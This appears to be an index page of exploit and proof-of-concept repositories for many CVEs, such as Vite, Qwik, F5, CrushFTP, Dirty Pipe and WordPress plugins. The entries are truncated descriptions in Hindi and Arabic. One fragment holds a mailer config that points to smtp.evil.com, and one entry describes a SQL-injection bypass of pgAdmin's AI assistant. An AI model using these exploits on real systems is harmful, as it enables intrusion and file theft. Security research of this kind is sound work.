CVE-2025-30208

🔥 CVE-2025-30208 Vite मनमानी फ़ाइल पढ़ने की भेद्यता स्कैनर CVE-2025-30208 के लिए उन्नत भेद्यता स्कैनर जिसमें एंटरप्राइज़-ग्रेड सुविधाएँ हैं Vite मनमानी फ़ाइल पढ़ने की भेद्यता का पता लगाने के लिए पेशेवर पैठ परीक्षण उपकरण 🚀 त्वरित आरंभ • 📋 विशेषताएँ • 🔧 उपयोग • 📊 उदाहरण • 🛡️ सुरक्षा 📖 अवलोकन यह एक...

CVE-2026-27971_POC

CVE-2026-27971 — Qwik server$ बिना प्रमाणीकरण के RCE PoC !WARNING इस रिपॉजिटरी में एक सक्रिय रिमोट-कोड-एक्जीक्यूशन प्रूफ ऑफ कॉन्सेप्ट है। इसका उपयोग केवल उन प्रणालियों पर करें जिनके आप मालिक हैं या जिनका परीक्षण करने की आपको स्पष्ट अनुमति है। लेखक अनधिकृत उपयोग या क्षति के लिए कोई जिम्मेदारी नहीं...

CVE-2025-43919-POC

🚨 CVE-2025-43919: اجتياز الدليل في GNU Mailman 2.1.39 cPanel/WHM تم اكتشاف ثغرة جديدة في GNU Mailman 2.1.39 المضمن مع cPanel/WHM، مما يسمح للمهاجمين عن بُعد غير المصادق عليهم بقراءة ملفات عشوائية على الخادم عبر خلل في اجتياز الدليل. 📌 ملخص الثغرة: النوع : اجتياز الدليل بدون مصادقة المكوّن : برنام...

cve-2020-5902

cve-2020-5902 cve-2020-5902 POC एक्सप्लॉइट root@kitploit: POC CVE-2020-5902 - r0ttenbeef Usage: cve-2020-5902.py options Options: -h, --help show this help message and exit -u URL, --url=URL specify target url EX:http://100.200.300.10/ -i, --info grap some informations -f FILENAME, --file=FILENAM...

CVE-2025-30208-Series

CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486 1. भेद्यता सिंहावलोकन CVE-2025-30208, CVE-2025-31125 और CVE-2025-31486 Vite डेवलपमेंट सर्वर में एक आर्बिट्रेरी फ़ाइल पढ़ने की भेद्यता है। यह भेद्यता हमलावर को विशिष्ट URL पैरामीटर्स के माध्यम से एक्सेस कंट्रोल को बायपास करने और fs मॉड्यूल के माध्यम...

cve-2023-42824

cve-2023-42824 गाय बाईपास डबल-रीड?...

CVE-2024-4040

CVE-2024-4040 CrushFTP के सभी संस्करणों में 10.7.1 और 11.1.0 से पहले के सभी प्लेटफार्मों पर एक सर्वर-साइड टेम्पलेट इंजेक्शन कमजोरी मौजूद है, जो अप्रमाणित दूरस्थ हमलावरों को VFS सैंडबॉक्स के बाहर फाइलसिस्टम से फाइलें पढ़ने, प्रमाणीकरण को बायपास करके प्रशासनिक पहुँच प्राप्त करने, और सर्वर पर रिमोट...

CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...

CVE-2023-26255-6

سكربت POC لثغرة قراءة الملفات التعسفية عبر معامل FileName في إضافة Jira plugin STAGIL Navigation طريقة الاستخدام كما يلي: فحص عنوان URL واحد 1. افحص عنوان URL واحدًا عبر واجهة سطر الأوامر، باستخدام المعامل -U لتمرير معامل URL 2. لاحظ النتيجة المعروضة؛ إذا ظهرت is vulnerable! فهذا يعني أن هذا...

CVE-2022-0847

DIRTY PIPE CVE-2022-0847 यह एक कर्नेल भेद्यता है जो मनमानी केवल-पढ़ने योग्य फाइलों में डेटा को अधिलेखित करने की अनुमति देती है, जिसके परिणामस्वरूप विशेषाधिकार वृद्धि हो सकती है क्योंकि एक अविशेषाधिकृत प्रक्रिया एक विशेषाधिकृत प्रक्रिया में लिख सकती है। सभी श्रेय 🥇Max Kellermann को जाता है जिन्हों...

wpgarlic

wpgarlic एक प्रूफ-ऑफ-कॉन्सेप्ट वर्डप्रेस प्लगइन फ़ज़र जिसने लगभग 30 मिलियन साइटों पर स्थापित 300 से अधिक वर्डप्रेस प्लगइन्स में कमज़ोरियाँ खोज निकालीं। इस्तेमाल की गई तकनीक का वर्णन https://kazet.cc/2022/02/03/fuzzing-wordpress-plugins.html पर किया गया है। अगर आप शोध जारी रखना चाहते हैं, तो कम...

CVE-2024-36991

استغلال ثغرة تجاوز المسار في Splunk CVE-2024-36991 الوصف هذا سكريبت إثبات المفهوم PoC لاستغلال CVE-2024-36991 ، وهي ثغرة تجاوز المسار تؤثر على Splunk Enterprise على أنظمة Windows في الإصدارات التالية: 9.2.2 9.1.5 9.0.10 تسمح الثغرة للمهاجمين غير المصادق عليهم بالوصول إلى الملفات الحساسة على الخاد...

functrace

functrace - A function tracer functrace is a tool that helps to analyze a binary file with dynamic instrumentation using DynamoRIO http://dynamorio.org/. These are some implemented features based on DynamoRIO: disassemble all the executed code disassemble a specific function dump if these are...

vucsa

Vulnerable Client-Server Application VuCSA Vulnerable client-server application VuCSA is made for learning/presenting how to perform penetration tests of non-http client-server applications. It is written in Java with JavaFX graphical user interface. Currently, the vulnerable application contains...

RtlHijack

RtlHijack مستودع يحتوي على نصوص برمجية لتوضيح بدائيات قراءة وكتابة بديلة باستخدام دوال Rtl بالطريقة غير المقصودة. RtlFillMemory.c RtlFillMemory تأخذ ثلاثة وسائط: مؤشرًا إلى الذاكرة الوجهة، وعدد البايتات المراد كتابتها، وقيمة بايت واحدة. وهي تكتب بايتًا واحدًا فقط في كتلة الذاكرة المحددة...

pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass

CVE-2026-17351 — تجاوز وضع القراءة فقط في المساعد الذكي لـ pgAdmin 4 عبر اختلاف المُحلِّل المعجمي PoC لثغرة CVE-2026-17351، وهي تجاوز حرج بدرجة CVSS 9.0 لحقن SQL في المساعد الذكي الخاص بـ pgAdmin 4. ملخص الثغرة تستخدم إصدارات pgAdmin 4 من 9.13 حتى 9.16 مكتبة sqlparse الخاصة ببايثون للتحقق من أن...

CVE-2026-14975

The WP File Download WordPress plugin (all versions up to and including 6.3.8 ) is vulnerable to Directory Traversal via the remoteurl parameter, discovered by 0xd4rk5id3 (EnvoraSec). An authenticated attacker with Subscriber-level access first poisons the _wpfd_file_metadata['file'] post-meta va...

CVE-2025-4602

eMagicOne Store Manager for WooCommerce = 1.2.5 - قراءة ملفات تعسفية بدون مصادقة يُعرّض إضافة eMagicOne Store Manager for WooCommerce نقطة نهاية لبروتوكول الإدارة عن بُعد ?connector=bridge تسمح بعمليات حذف الملفات على الخادم. تعتمد آلية المصادقة على زوج افتراضي من بيانات الاعتماد login=1,...

ghostcat

यह उपकरण Apache Tomcat में एक LFI भेद्यता का शोषण करता है जिसे CVE-2020-1938 नाम दिया गया है, न केवल संवेदनशील फ़ाइलें देखने के लिए, बल्कि दुर्भावनापूर्ण JSP पेलोड चलाने के लिए भी। इसे यहाँ से डाउनलोड किया जा सकता है आपको इसे कमांड लाइन से चलाना होगा उपयोग:...

CVE-2025-2539

CVE-2025-2539 PoC استغلال قراءة ملفات اعتباطية بدون توثيق لإضافة WordPress File Away Plugin ≤ 3.9.9.0.1 📖 الوصف هذا النص البرمجي بلغة بايثون هو إثبات مفهوم PoC لاستغلال CVE-2025-2539 ، الذي يستهدف ثغرة في إضافة WordPress File Away Plugin ≤ 3.9.9.0.1. تسمح الثغرة للمهاجمين غير الموثقين بقراءة ملفا...